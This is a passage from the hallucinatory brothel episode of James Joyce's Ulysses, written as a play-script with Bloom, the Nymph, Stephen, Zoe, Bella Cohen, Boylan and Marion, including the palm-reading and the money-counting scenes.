CIRCUMCISED, +IN SACKCLOTH AND ASHES, STAND BY THE WAILING WALL. M. SHULOMOWITZ, JOSEPH +GOLDWATER, MOSES HERZOG, HARRIS ROSENBERG, M. MOISEL, J. CITRON, MINNIE +WATCHMAN, P. MASTIANSKY, THE REVEREND LEOPOLD ABRAMOVITZ, CHAZEN. WITH +SWAYING ARMS THEY WAIL IN PNEUMA OVER THE RECREANT BLOOM.) + +THE CIRCUMCISED: (IN DARK GUTTURAL CHANT AS THEY CAST DEAD SEA FRUIT UPON +HIM, NO FLOWERS) SHEMA ISRAEL ADONAI ELOHENU ADONAI ECHAD. + +VOICES: (SIGHING) So he's gone. Ah yes. Yes, indeed. Bloom? Never heard +of him. No? Queer kind of chap. There's the widow. That so? Ah, yes. + +(FROM THE SUTTEE PYRE THE FLAME OF GUM CAMPHIRE ASCENDS. THE PALL OF +INCENSE SMOKE SCREENS AND DISPERSES. OUT OF HER OAKFRAME A NYMPH WITH +HAIR UNBOUND, LIGHTLY CLAD IN TEABROWN ARTCOLOURS, DESCENDS FROM HER +GROTTO AND PASSING UNDER INTERLACING YEWS STANDS OVER BLOOM.) + +THE YEWS: (THEIR LEAVES WHISPERING) Sister. Our sister. Ssh! + +THE NYMPH: (SOFTLY) Mortal! (KINDLY) Nay, dost not weepest! + +BLOOM: (CRAWLS JELLILY FORWARD UNDER THE BOUGHS, STREAKED BY SUNLIGHT, +WITH DIGNITY) This position. I felt it was expected of me. Force of +habit. + +THE NYMPH: Mortal! You found me in evil company, highkickers, coster +picnicmakers, pugilists, popular generals, immoral panto boys in +fleshtights and the nifty shimmy dancers, La Aurora and Karini, musical +act, the hit of the century. I was hidden in cheap pink paper that smelt +of rock oil. I was surrounded by the stale smut of clubmen, stories to +disturb callow youth, ads for transparencies, truedup dice and bustpads, +proprietary articles and why wear a truss with testimonial from ruptured +gentleman. Useful hints to the married. + +BLOOM: (LIFTS A TURTLE HEAD TOWARDS HER LAP) We have met before. On +another star. + +THE NYMPH: (SADLY) Rubber goods. Neverrip brand as supplied to the +aristocracy. Corsets for men. I cure fits or money refunded. Unsolicited +testimonials for Professor Waldmann's wonderful chest exuber. My bust +developed four inches in three weeks, reports Mrs Gus Rublin with photo. + +BLOOM: You mean PHOTO BITS? + +THE NYMPH: I do. You bore me away, framed me in oak and tinsel, set me +above your marriage couch. Unseen, one summer eve, you kissed me in four +places. And with loving pencil you shaded my eyes, my bosom and my shame. + +BLOOM: (HUMBLY KISSES HER LONG HAIR) Your classic curves, beautiful +immortal, I was glad to look on you, to praise you, a thing of beauty, +almost to pray. + +THE NYMPH: During dark nights I heard your praise. + +BLOOM: (QUICKLY) Yes, yes. You mean that I ... Sleep reveals the worst +side of everyone, children perhaps excepted. I know I fell out of bed or +rather was pushed. Steel wine is said to cure snoring. For the rest there +is that English invention, pamphlet of which I received some days ago, +incorrectly addressed. It claims to afford a noiseless, inoffensive vent. +(HE SIGHS) 'Twas ever thus. Frailty, thy name is marriage. + +THE NYMPH: (HER FINGERS IN HER EARS) And words. They are not in my +dictionary. + +BLOOM: You understood them? + +THE YEWS: Ssh! + +THE NYMPH: (COVERS HER FACE WITH HER HANDS) What have I not seen in that +chamber? What must my eyes look down on? + +BLOOM: (APOLOGETICALLY) I know. Soiled personal linen, wrong side up with +care. The quoits are loose. From Gibraltar by long sea long ago. + +THE NYMPH: (BENDS HER HEAD) Worse, worse! + +BLOOM: (REFLECTS PRECAUTIOUSLY) That antiquated commode. It wasn't her +weight. She scaled just eleven stone nine. She put on nine pounds after +weaning. It was a crack and want of glue. Eh? And that absurd orangekeyed +utensil which has only one handle. + +(THE SOUND OF A WATERFALL IS HEARD IN BRIGHT CASCADE.) + +THE WATERFALL: + + + Poulaphouca Poulaphouca + Poulaphouca Poulaphouca. + + +THE YEWS: (MINGLING THEIR BOUGHS) Listen. Whisper. She is right, our +sister. We grew by Poulaphouca waterfall. We gave shade on languorous +summer days. + +JOHN WYSE NOLAN: (IN THE BACKGROUND, IN IRISH NATIONAL FORESTER'S +UNIFORM, DOFFS HIS PLUMED HAT) Prosper! Give shade on languorous days, +trees of Ireland! + +THE YEWS: (MURMURING) Who came to Poulaphouca with the High School +excursion? Who left his nutquesting classmates to seek our shade? + +BLOOM: (SCARED) High School of Poula? Mnemo? Not in full possession of +faculties. Concussion. Run over by tram. + +THE ECHO: Sham! + +BLOOM: (PIGEONBREASTED, BOTTLESHOULDERED, PADDED, IN NONDESCRIPT JUVENILE +GREY AND BLACK STRIPED SUIT, TOO SMALL FOR HIM, WHITE TENNIS SHOES, +BORDERED STOCKINGS WITH TURNOVER TOPS AND A RED SCHOOLCAP WITH BADGE) I +was in my teens, a growing boy. A little then sufficed, a jolting car, +the mingling odours of the ladies' cloakroom and lavatory, the throng +penned tight on the old Royal stairs (for they love crushes, instinct of +the herd, and the dark sexsmelling theatre unbridles vice), even a +pricelist of their hosiery. And then the heat. There were sunspots that +summer. End of school. And tipsycake. Halcyon days. + +(HALCYON DAYS, HIGH SCHOOL BOYS IN BLUE AND WHITE FOOTBALL JERSEYS AND +SHORTS, MASTER DONALD TURNBULL, MASTER ABRAHAM CHATTERTON, MASTER OWEN +GOLDBERG, MASTER JACK MEREDITH, MASTER PERCY APJOHN, STAND IN A CLEARING +OF THE TREES AND SHOUT TO MASTER LEOPOLD BLOOM.) + +THE HALCYON DAYS: Mackerel! Live us again. Hurray! (THEY CHEER) + +BLOOM: (HOBBLEDEHOY, WARMGLOVED, MAMMAMUFFLERED, STARRED WITH SPENT +SNOWBALLS, STRUGGLES TO RISE) Again! I feel sixteen! What a lark! Let's +ring all the bells in Montague street. (HE CHEERS FEEBLY) Hurray for the +High School! + +THE ECHO: Fool! + +THE YEWS: (RUSTLING) She is right, our sister. Whisper. (WHISPERED KISSES +ARE HEARD IN ALL THE WOOD. FACES OF HAMADRYADS PEEP OUT FROM THE BOLES +AND AMONG THE LEAVES AND BREAK, BLOSSOMING INTO BLOOM.) Who profaned our +silent shade? + +THE NYMPH: (COYLY, THROUGH PARTING FINGERS) There? In the open air? + +THE YEWS: (SWEEPING DOWNWARD) Sister, yes. And on our virgin sward. + +THE WATERFALL: + + + Poulaphouca Poulaphouca + Phoucaphouca Phoucaphouca. + + + +THE NYMPH: (WITH WIDE FINGERS) O, infamy! + +BLOOM: I was precocious. Youth. The fauna. I sacrificed to the god of the +forest. The flowers that bloom in the spring. It was pairing time. +Capillary attraction is a natural phenomenon. Lotty Clarke, flaxenhaired, +I saw at her night toilette through illclosed curtains with poor papa's +operaglasses: The wanton ate grass wildly. She rolled downhill at Rialto +bridge to tempt me with her flow of animal spirits. She climbed their +crooked tree and I ... A saint couldn't resist it. The demon possessed +me. Besides, who saw? + +(STAGGERING BOB, A WHITEPOLLED CALF, THRUSTS A RUMINATING HEAD WITH HUMID +NOSTRILS THROUGH THE FOLIAGE.) + +STAGGERING BOB: (LARGE TEARDROPS ROLLING FROM HIS PROMINENT EYES, +SNIVELS) Me. Me see. + +BLOOM: Simply satisfying a need I ... (WITH PATHOS) No girl would when I +went girling. Too ugly. They wouldn't play ... + +(HIGH ON BEN HOWTH THROUGH RHODODENDRONS A NANNYGOAT PASSES, +PLUMPUDDERED, BUTTYTAILED, DROPPING CURRANTS.) + +THE NANNYGOAT: (BLEATS) Megeggaggegg! Nannannanny! + +BLOOM: (HATLESS, FLUSHED, COVERED WITH BURRS OF THISTLEDOWN AND +GORSESPINE) Regularly engaged. Circumstances alter cases. (HE GAZES +INTENTLY DOWNWARDS ON THE WATER) Thirtytwo head over heels per second. +Press nightmare. Giddy Elijah. Fall from cliff. Sad end of government +printer's clerk. (THROUGH SILVERSILENT SUMMER AIR THE DUMMY OF BLOOM, +ROLLED IN A MUMMY, ROLLS ROTEATINGLY FROM THE LION'S HEAD CLIFF INTO THE +PURPLE WAITING WATERS.) + +THE DUMMYMUMMY: Bbbbblllllblblblblobschbg! + +(FAR OUT IN THE BAY BETWEEN BAILEY AND KISH LIGHTS THE Erin's King SAILS, +SENDING A BROADENING PLUME OF COALSMOKE FROM HER FUNNEL TOWARDS THE +LAND.) + +COUNCILLOR NANNETII: (ALONE ON DECK, IN DARK ALPACA, YELLOWKITEFACED, HIS +HAND IN HIS WAISTCOAT OPENING, DECLAIMS) When my country takes her place +among the nations of the earth, then, and not till then, let my epitaph +be written. I have ... + +BLOOM: Done. Prff! + +THE NYMPH: (LOFTILY) We immortals, as you saw today, have not such a +place and no hair there either. We are stonecold and pure. We eat +electric light. (SHE ARCHES HER BODY IN LASCIVIOUS CRISPATION, PLACING +HER FOREFINGER IN HER MOUTH) Spoke to me. Heard from behind. How then +could you ...? + +BLOOM: (PAWING THE HEATHER ABJECTLY) O, I have been a perfect pig. Enemas +too I have administered. One third of a pint of quassia to which add a +tablespoonful of rocksalt. Up the fundament. With Hamilton Long's +syringe, the ladies' friend. + +THE NYMPH: In my presence. The powderpuff. (SHE BLUSHES AND MAKES A KNEE) +And the rest! + +BLOOM: (DEJECTED) Yes. PECCAVI! I have paid homage on that living altar +where the back changes name. (WITH SUDDEN FERVOUR) For why should the +dainty scented jewelled hand, the hand that rules ...? + +(FIGURES WIND SERPENTING IN SLOW WOODLAND PATTERN AROUND THE TREESTEMS, +COOEEING) + +THE VOICE OF KITTY: (IN THE THICKET) Show us one of them cushions. + +THE VOICE OF FLORRY: Here. + +(A GROUSE WINGS CLUMSILY THROUGH THE UNDERWOOD.) + +THE VOICE OF LYNCH: (IN THE THICKET) Whew! Piping hot! + +THE VOICE OF ZOE: (FROM THE THICKET) Came from a hot place. + +THE VOICE OF VIRAG: (A BIRDCHIEF, BLUESTREAKED AND FEATHERED IN WAR +PANOPLY WITH HIS ASSEGAI, STRIDING THROUGH A CRACKLING CANEBRAKE OVER +BEECHMAST AND ACORNS) Hot! Hot! Ware Sitting Bull! + +BLOOM: It overpowers me. The warm impress of her warm form. Even to sit +where a woman has sat, especially with divaricated thighs, as though to +grant the last favours, most especially with previously well uplifted +white sateen coatpans. So womanly, full. It fills me full. + +THE WATERFALL: + + + Phillaphulla Poulaphouca + Poulaphouca Poulaphouca. + + +THE YEWS: Ssh! Sister, speak! + +THE NYMPH: (EYELESS, IN NUN'S WHITE HABIT, COIF AND HUGEWINGED WIMPLE, +SOFTLY, WITH REMOTE EYES) Tranquilla convent. Sister Agatha. Mount +Carmel. The apparitions of Knock and Lourdes. No more desire. (SHE +RECLINES HER HEAD, SIGHING) Only the ethereal. Where dreamy creamy gull +waves o'er the waters dull. + +(BLOOM HALF RISES. HIS BACK TROUSERBUTTON SNAPS.) + +THE BUTTON: Bip! + +(TWO SLUTS OF THE COOMBE DANCE RAINILY BY, SHAWLED, YELLING FLATLY.) + +THE SLUTS: + + + O, Leopold lost the pin of his drawers + He didn't know what to do, + To keep it up, + To keep it up. + + +BLOOM: (COLDLY) You have broken the spell. The last straw. If there were +only ethereal where would you all be, postulants and novices? Shy but +willing like an ass pissing. + +THE YEWS: (THEIR SILVERFOIL OF LEAVES PRECIPITATING, THEIR SKINNY ARMS +AGING AND SWAYING) Deciduously! + +THE NYMPH: (her features hardening, gropes in the folds of her habit) +Sacrilege! To attempt my virtue! (A LARGE MOIST STAIN APPEARS ON HER +ROBE) Sully my innocence! You are not fit to touch the garment of a pure +woman. (SHE CLUTCHES AGAIN IN HER ROBE) Wait. Satan, you'll sing no more +lovesongs. Amen. Amen. Amen. Amen. (SHE DRAWS A PONIARD AND, CLAD IN THE +SHEATHMAIL OF AN ELECTED KNIGHT OF NINE, STRIKES AT HIS LOINS) Nekum! + +BLOOM: (STARTS UP, SEIZES HER HAND) Hoy! Nebrakada! Cat o' nine lives! +Fair play, madam. No pruningknife. The fox and the grapes, is it? What do +you lack with your barbed wire? Crucifix not thick enough? (HE CLUTCHES +HER VEIL) A holy abbot you want or Brophy, the lame gardener, or the +spoutless statue of the watercarrier, or good mother Alphonsus, eh +Reynard? + +THE NYMPH: (WITH A CRY FLEES FROM HIM UNVEILED, HER PLASTER CAST +CRACKING, A CLOUD OF STENCH ESCAPING FROM THE CRACKS) Poli ...! + +BLOOM: (CALLS AFTER HER) As if you didn't get it on the double +yourselves. No jerks and multiple mucosities all over you. I tried it. +Your strength our weakness. What's our studfee? What will you pay on the +nail? You fee mendancers on the Riviera, I read. (THE FLEEING NYMPH +RAISES A KEEN) Eh? I have sixteen years of black slave labour behind me. +And would a jury give me five shillings alimony tomorrow, eh? Fool +someone else, not me. (HE SNIFFS) Rut. Onions. Stale. Sulphur. Grease. + +(THE FIGURE OF BELLA COHEN STANDS BEFORE HIM.) + +BELLA: You'll know me the next time. + +BLOOM: (COMPOSED, REGARDS HER) Passee. Mutton dressed as lamb. Long in +the tooth and superfluous hair. A raw onion the last thing at night would +benefit your complexion. And take some double chin drill. Your eyes are +as vapid as the glasseyes of your stuffed fox. They have the dimensions +of your other features, that's all. I'm not a triple screw propeller. + +BELLA: (CONTEMPTUOUSLY) You're not game, in fact. (HER SOWCUNT BARKS) +Fbhracht! + +BLOOM: (CONTEMPTUOUSLY) Clean your nailless middle finger first, your +bully's cold spunk is dripping from your cockscomb. Take a handful of hay +and wipe yourself. + +BELLA: I know you, canvasser! Dead cod! + +BLOOM: I saw him, kipkeeper! Pox and gleet vendor! + +BELLA: (TURNS TO THE PIANO) Which of you was playing the dead march from +SAUL? + +ZOE: Me. Mind your cornflowers. (SHE DARTS TO THE PIANO AND BANGS CHORDS +ON IT WITH CROSSED ARMS) The cat's ramble through the slag. (SHE GLANCES +BACK) Eh? Who's making love to my sweeties? (SHE DARTS BACK TO THE TABLE) +What's yours is mine and what's mine is my own. + +(KITTY, DISCONCERTED, COATS HER TEETH WITH THE SILVER PAPER. BLOOM +APPROACHES ZOE.) + +BLOOM: (GENTLY) Give me back that potato, will you? + +ZOE: Forfeits, a fine thing and a superfine thing. + +BLOOM: (WITH FEELING) It is nothing, but still, a relic of poor mamma. + +ZOE: + + + Give a thing and take it back + God'll ask you where is that + You'll say you don't know + God'll send you down below. + + +BLOOM: There is a memory attached to it. I should like to have it. + +STEPHEN: To have or not to have that is the question. + +ZOE: Here. (SHE HAULS UP A REEF OF HER SLIP, REVEALING HER BARE THIGH, +AND UNROLLS THE POTATO FROM THE TOP OF HER STOCKING) Those that hides +knows where to find. + +BELLA: (FROWNS) Here. This isn't a musical peepshow. And don't you smash +that piano. Who's paying here? + +(SHE GOES TO THE PIANOLA. STEPHEN FUMBLES IN HIS POCKET AND, TAKING OUT A +BANKNOTE BY ITS CORNER, HANDS IT TO HER.) + +STEPHEN: (WITH EXAGGERATED POLITENESS) This silken purse I made out of +the sow's ear of the public. Madam, excuse me. If you allow me. (HE +INDICATES VAGUELY LYNCH AND BLOOM) We are all in the same sweepstake, +Kinch and Lynch. DANS CE BORDEL OU TENONS NOSTRE ETAT. + +LYNCH: (CALLS FROM THE HEARTH) Dedalus! Give her your blessing for me. + +STEPHEN: (HANDS BELLA A COIN) Gold. She has it. + +BELLA: (LOOKS AT THE MONEY, THEN AT STEPHEN, THEN AT ZOE, FLORRY AND +KITTY) Do you want three girls? It's ten shillings here. + +STEPHEN: (DELIGHTEDLY) A hundred thousand apologies. (HE FUMBLES AGAIN +AND TAKES OUT AND HANDS HER TWO CROWNS) Permit, BREVI MANU, my sight is +somewhat troubled. + +(BELLA GOES TO THE TABLE TO COUNT THE MONEY WHILE STEPHEN TALKS TO +HIMSELF IN MONOSYLLABLES. ZOE BENDS OVER THE TABLE. KITTY LEANS OVER +ZOE'S NECK. LYNCH GETS UP, RIGHTS HIS CAP AND, CLASPING KITTY'S WAIST, +ADDS HIS HEAD TO THE GROUP.) + +FLORRY: (STRIVES HEAVILY TO RISE) Ow! My foot's asleep. (SHE LIMPS OVER +TO THE TABLE. BLOOM APPROACHES.) + +BELLA, ZOE, KITTY, LYNCH, BLOOM: (CHATTERING AND SQUABBLING) The +gentleman ... ten shillings ... paying for the three ... allow me a +moment ... this gentleman pays separate ... who's touching it? ... ow! +... mind who you're pinching ... are you staying the night or a short +time?... who did?... you're a liar, excuse me ... the gentleman paid down +like a gentleman ... drink ... it's long after eleven. + +STEPHEN: (AT THE PIANOLA, MAKING A GESTURE OF ABHORRENCE) No bottles! +What, eleven? A riddle! + +ZOE: (LIFTING UP HER PETTIGOWN AND FOLDING A HALF SOVEREIGN INTO THE TOP +OF HER STOCKING) Hard earned on the flat of my back. + +LYNCH: (LIFTING KITTY FROM THE TABLE) Come! + +KITTY: Wait. (SHE CLUTCHES THE TWO CROWNS) + +FLORRY: And me? + +LYNCH: Hoopla! (HE LIFTS HER, CARRIES HER AND BUMPS HER DOWN ON THE +SOFA.) + +STEPHEN: + + + The fox crew, the cocks flew, + The bells in heaven + Were striking eleven. + 'Tis time for her poor soul + To get out of heaven. + + +BLOOM: (QUIETLY LAYS A HALF SOVEREIGN ON THE TABLE BETWEEN BELLA AND +FLORRY) So. Allow me. (HE TAKES UP THE POUNDNOTE) Three times ten. We're +square. + +BELLA: (ADMIRINGLY) You're such a slyboots, old cocky. I could kiss you. + +ZOE: (POINTS) Him? Deep as a drawwell. (LYNCH BENDS KITTY BACK OVER THE +SOFA AND KISSES HER. BLOOM GOES WITH THE POUNDNOTE TO STEPHEN.) + +BLOOM: This is yours. + +STEPHEN: How is that? LES DISTRAIT or absentminded beggar. (HE FUMBLES +AGAIN IN HIS POCKET AND DRAWS OUT A HANDFUL OF COINS. AN OBJECT FILLS.) +That fell. + +BLOOM: (STOOPING, PICKS UP AND HANDS A BOX OF MATCHES) This. + +STEPHEN: Lucifer. Thanks. + +BLOOM: (QUIETLY) You had better hand over that cash to me to take care +of. Why pay more? + +STEPHEN: (HANDS HIM ALL HIS COINS) Be just before you are generous. + +BLOOM: I will but is it wise? (HE COUNTS) One, seven, eleven, and five. +Six. Eleven. I don't answer for what you may have lost. + +STEPHEN: Why striking eleven? Proparoxyton. Moment before the next +Lessing says. Thirsty fox. (HE LAUGHS LOUDLY) Burying his grandmother. +Probably he killed her. + +BLOOM: That is one pound six and eleven. One pound seven, say. + +STEPHEN: Doesn't matter a rambling damn. + +BLOOM: No, but ... + +STEPHEN: (COMES TO THE TABLE) Cigarette, please. (LYNCH TOSSES A +CIGARETTE FROM THE SOFA TO THE TABLE) And so Georgina Johnson is dead and +married. (A CIGARETTE APPEARS ON THE TABLE. STEPHEN LOOKS AT IT) Wonder. +Parlour magic. Married. Hm. (HE STRIKES A MATCH AND PROCEEDS TO LIGHT THE +CIGARETTE WITH ENIGMATIC MELANCHOLY) + +LYNCH: (WATCHING HIM) You would have a better chance of lighting it if +you held the match nearer. + +STEPHEN: (BRINGS THE MATCH NEAR HIS EYE) Lynx eye. Must get glasses. +Broke them yesterday. Sixteen years ago. Distance. The eye sees all flat. +(HE DRAWS THE MATCH AWAY. IT GOES OUT.) Brain thinks. Near: far. +Ineluctable modality of the visible. (HE FROWNS MYSTERIOUSLY) Hm. Sphinx. +The beast that has twobacks at midnight. Married. + +ZOE: It was a commercial traveller married her and took her away with +him. + +FLORRY: (NODS) Mr Lambe from London. + +STEPHEN: Lamb of London, who takest away the sins of our world. + +LYNCH: (EMBRACING KITTY ON THE SOFA, CHANTS DEEPLY) DONA NOBIS PACEM. + +(THE CIGARETTE SLIPS FROM STEPHEN 'S FINGERS. BLOOM PICKS IT UP AND +THROWS IT IN THE GRATE.) + +BLOOM: Don't smoke. You ought to eat. Cursed dog I met. (TO ZOE) You have +nothing? + +ZOE: Is he hungry? + +STEPHEN: (EXTENDS HIS HAND TO HER SMILING AND CHANTS TO THE AIR OF THE +BLOODOATH IN THE Dusk of the Gods) + + + Hangende Hunger, + Fragende Frau, + Macht uns alle kaputt. + + +ZOE: (TRAGICALLY) Hamlet, I am thy father's gimlet! (SHE TAKES HIS HAND) +Blue eyes beauty I'll read your hand. (SHE POINTS TO HIS FOREHEAD) No +wit, no wrinkles. (SHE COUNTS) Two, three, Mars, that's courage. (STEPHEN +SHAKES HIS HEAD) No kid. + +LYNCH: Sheet lightning courage. The youth who could not shiver and shake. +(TO ZOE) Who taught you palmistry? + +ZOE: (TURNS) Ask my ballocks that I haven't got. (TO STEPHEN) I see it in +your face. The eye, like that. (SHE FROWNS WITH LOWERED HEAD) + +LYNCH: (LAUGHING, SLAPS KITTY BEHIND TWICE) Like that. Pandybat. + +(TWICE LOUDLY A PANDYBAT CRACKS, THE COFFIN OF THE PIANOLA FLIES OPEN, +THE BALD LITTLE ROUND JACK-IN-THE-BOX HEAD OF FATHER DOLAN SPRINGS UP.) + +FATHER DOLAN: Any boy want flogging? Broke his glasses? Lazy idle little +schemer. See it in your eye. + +(MILD, BENIGN, RECTORIAL, REPROVING, THE HEAD OF DON JOHN CONMEE RISES +FROM THE PIANOLA COFFIN.) + +DON JOHN CONMEE: Now, Father Dolan! Now. I'm sure that Stephen is a very +good little boy! + +ZOE: (EXAMINING STEPHEN'S PALM) Woman's hand. + +STEPHEN: (MURMURS) Continue. Lie. Hold me. Caress. I never could read His +handwriting except His criminal thumbprint on the haddock. + +ZOE: What day were you born? + +STEPHEN: Thursday. Today. + +ZOE: Thursday's child has far to go. (SHE TRACES LINES ON HIS HAND) Line +of fate. Influential friends. + +FLORRY: (POINTING) Imagination. + +ZOE: Mount of the moon. You'll meet with a ... (SHE PEERS AT HIS HANDS +ABRUPTLY) I won't tell you what's not good for you. Or do you want to +know? + +BLOOM: (DETACHES HER FINGERS AND OFFERS HIS PALM) More harm than good. +Here. Read mine. + +BELLA: Show. (SHE TURNS UP BLOOM'S HAND) I thought so. Knobby knuckles +for the women. + +ZOE: (PEERING AT BLOOM'S PALM) Gridiron. Travels beyond the sea and marry +money. + +BLOOM: Wrong. + +ZOE: (QUICKLY) O, I see. Short little finger. Henpecked husband. That +wrong? + +(BLACK LIZ, A HUGE ROOSTER HATCHING IN A CHALKED CIRCLE, RISES, STRETCHES +HER WINGS AND CLUCKS.) + +BLACK LIZ: Gara. Klook. Klook. Klook. + +(SHE SIDLES FROM HER NEWLAID EGG AND WADDLES OFF) + +BLOOM: (POINTS TO HIS HAND) That weal there is an accident. Fell and cut +it twentytwo years ago. I was sixteen. + +ZOE: I see, says the blind man. Tell us news. + +STEPHEN: See? Moves to one great goal. I am twentytwo. Sixteen years ago +he was twentytwo too. Sixteen years ago I twentytwo tumbled. Twentytwo +years ago he sixteen fell off his hobbyhorse. (HE WINCES) Hurt my hand +somewhere. Must see a dentist. Money? + +(ZOE WHISPERS TO FLORRY. THEY GIGGLE. BLOOM RELEASES HIS HAND AND WRITES +IDLY ON THE TABLE IN BACKHAND, PENCILLING SLOW CURVES.) + +FLORRY: What? + +(A HACKNEYCAR, NUMBER THREE HUNDRED AND TWENTYFOUR, WITH A +GALLANTBUTTOCKED MARE, DRIVEN BY JAMES BARTON, HARMONY AVENUE, +DONNYBROOK, TROTS PAST. BLAZES BOYLAN AND LENEHAN SPRAWL SWAYING ON THE +SIDESEATS. THE ORMOND BOOTS CROUCHES BEHIND ON THE AXLE. SADLY OVER THE +CROSSBLIND LYDIA DOUCE AND MINA KENNEDY GAZE.) + +THE BOOTS: (JOGGING, MOCKS THEM WITH THUMB AND WRIGGLING WORMFINGERS) Haw +haw have you the horn? + +(BRONZE BY GOLD THEY WHISPER.) + +ZOE: (TO FLORRY) Whisper. + +(THEY WHISPER AGAIN) + +(OVER THE WELL OF THE CAR BLAZES BOYLAN LEANS, HIS BOATER STRAW SET +SIDEWAYS, A RED FLOWER IN HIS MOUTH. LENEHAN IN YACHTSMAN'S CAP AND WHITE +SHOES OFFICIOUSLY DETACHES A LONG HAIR FROM BLAZES BOYLAN'S COAT +SHOULDER.) + +LENEHAN: Ho! What do I here behold? Were you brushing the cobwebs off a +few quims? + +BOYLAN: (SEATED, SMILES) Plucking a turkey. + +LENEHAN: A good night's work. + +BOYLAN: (HOLDING UP FOUR THICK BLUNTUNGULATED FINGERS, WINKS) Blazes +Kate! Up to sample or your money back. (HE HOLDS OUT A FOREFINGER) Smell +that. + +LENEHAN: (SMELLS GLEEFULLY) Ah! Lobster and mayonnaise. Ah! + +ZOE AND FLORRY: (LAUGH TOGETHER) Ha ha ha ha. + +BOYLAN: (JUMPS SURELY FROM THE CAR AND CALLS LOUDLY FOR ALL TO HEAR) +Hello, Bloom! Mrs Bloom dressed yet? + +BLOOM: (IN FLUNKEY'S PRUNE PLUSH COAT AND KNEEBREECHES, BUFF STOCKINGS +AND POWDERED WIG) I'm afraid not, sir. The last articles ... + +BOYLAN: (TOSSES HIM SIXPENCE) Here, to buy yourself a gin and splash. (HE +HANGS HIS HAT SMARTLY ON A PEG OF BLOOM'S ANTLERED HEAD) Show me in. I +have a little private business with your wife, you understand? + +BLOOM: Thank you, sir. Yes, sir. Madam Tweedy is in her bath, sir. + +MARION: He ought to feel himself highly honoured. (SHE PLOPS SPLASHING +OUT OF THE WATER) Raoul darling, come and dry me. I'm in my pelt. Only my +new hat and a carriage sponge. + +BOYLAN: (A MERRY TWINKLE IN HIS EYE) Topping! + +BELLA: What? What is it? + +(ZOE WHISPERS TO HER.) + +MARION: Let him look, the pishogue! Pimp! And scourge himself! I'll write +to a powerful prostitute or Bartholomona, the bearded woman, to raise +weals out on him an inch thick and make him bring me back a signed and +stamped receipt. + +BOYLAN: (clasps himself) Here, I can't hold this little lot much longer. +(he strides off on stiff cavalry legs) + +BELLA: (LAUGHING) Ho ho ho ho. + +BOYLAN: (TO BLOOM, OVER HIS SHOULDER) You can apply your eye to the +keyhole and play with yourself while I just go through her a few times. + +BLOOM: Thank you, sir. I will, sir. May I bring two men chums to witness +the deed and take a snapshot? (HE HOLDS OUT AN OINTMENT JAR) Vaseline, +sir? Orangeflower ...? Lukewarm water ...? + +KITTY: (FROM THE SOFA) Tell us, Florry. Tell us. What. + +(FLORRY WHISPERS TO HER. WHISPERING LOVEWORDS MURMUR, LIPLAPPING LOUDLY, +POPPYSMIC PLOPSLOP.) + +MINA KENNEDY: (HER EYES UPTURNED) O, it must be like the scent of +geraniums and lovely peaches! O, he simply idolises every bit of her! +Stuck together! Covered with kisses! + +LYDIA DOUCE: (HER MOUTH OPENING) Yumyum. O, he's carrying her round the +room doing it! Ride a cockhorse. You could hear them in Paris and New +York. Like mouthfuls of strawberries and cream. + +KITTY: (LAUGHING) Hee hee hee. + +BOYLAN'S VOICE: (SWEETLY, HOARSELY, IN THE PIT OF HIS STOMACH) Ah! +Gooblazqruk brukarchkrasht! + +MARION'S VOICE: (HOARSELY, SWEETLY, RISING TO HER THROAT) O! +Weeshwashtkissinapooisthnapoohuck? + +BLOOM: (HIS EYES WILDLY DILATED, CLASPS HIMSELF) Show! Hide! Show! Plough +her! More! Shoot! + +BELLA, ZOE, FLORRY, KITTY: Ho ho! Ha ha! Hee hee! + +LYNCH: (POINTS) The mirror up to nature. (HE LAUGHS) Hu hu hu hu hu! + +(STEPHEN AND BLOOM GAZE IN THE MIRROR. THE FACE OF WILLIAM SHAKESPEARE, +BEARDLESS, APPEARS THERE, RIGID IN FACIAL PARALYSIS, CROWNED BY THE +REFLECTION OF THE REINDEER ANTLERED HATRACK IN THE HALL.) + +SHAKESPEARE: (IN DIGNIFIED VENTRILOQUY) 'Tis the loud laugh bespeaks the +vacant mind. (TO BLOOM) Thou thoughtest as how thou wastest invisible. +Gaze. (HE CROWS WITH A BLACK CAPON'S LAUGH) Iagogo! How my Oldfellow +chokit his Thursdaymornun. Iagogogo! + +BLOOM: (SMILES YELLOWLY AT THE THREE WHORES) When will I hear the joke? + +ZOE: Before you're twice married and once a widower. + +BLOOM: Lapses are condoned. Even the great Napoleon when measurements +were taken next the skin after his death ... + +(MRS DIGNAM, WIDOW WOMAN, HER SNUBNOSE AND CHEEKS FLUSHED WITH DEATHTALK, +TEARS AND TUNNEY'S TAWNY SHERRY, HURRIES BY IN HER WEEDS, HER BONNET +AWRY, ROUGING AND POWDERING HER CHEEKS, LIPS AND NOSE, A PEN CHIVVYING +HER BROOD OF CYGNETS. BENEATH HER SKIRT APPEAR HER LATE HUSBAND'S +EVERYDAY TROUSERS AND TURNEDUP BOOTS, LARGE EIGHTS. SHE HOLDS A SCOTTISH +WIDOWS' INSURANCE POLICY AND A LARGE MARQUEE UMBRELLA UNDER WHICH HER +BROOD RUN WITH HER, PATSY HOPPING ON ONE SHOD FOOT, HIS COLLAR LOOSE, A +HANK OF PORKSTEAKS DANGLING, FREDDY WHIMPERING, SUSY WITH A CRYING COD'S +MOUTH, ALICE STRUGGLING WITH THE BABY. SHE CUFFS THEM ON, HER STREAMERS +FLAUNTING ALOFT.) + +FREDDY: Ah, ma, you're dragging me along! + +SUSY: Mamma, the beeftea is fizzing over! + +SHAKESPEARE: (WITH PARALYTIC RAGE) Weda seca whokilla farst. + +(THE FACE OF MARTIN CUNNINGHAM, BEARDED, REFEATURES SHAKESPEARE'S +BEARDLESS FACE. THE MARQUEE UMBRELLA SWAYS DRUNKENLY, THE CHILDREN RUN +ASIDE. UNDER THE UMBRELLA APPEARS MRS CUNNINGHAM IN MERRY WIDOW HAT AND +KIMONO GOWN. SHE GLIDES SIDLING AND BOWING, TWIRLING JAPANESILY.) + +MRS CUNNINGHAM: (SINGS) + + + And they call me the jewel of Asia! + + +MARTIN CUNNINGHAM: (GAZES ON HER, IMPASSIVE) Immense! Most bloody awful +demirep! + +STEPHEN: ET EXALTABUNTUR CORNUA IUSTI. Queens lay with prize bulls. +Remember Pasiphae for whose lust my grandoldgrossfather made the first +confessionbox. Forget not Madam Grissel Steevens nor the suine scions of +the house of Lambert. And Noah was drunk with wine. And his ark was open. + +BELLA: None of that here. Come to the wrong shop. + +LYNCH: Let him alone. He's back from Paris. + +ZOE: (RUNS TO STEPHEN AND LINKS HIM) O go on! Give us some parleyvoo. + +(STEPHEN CLAPS HAT ON 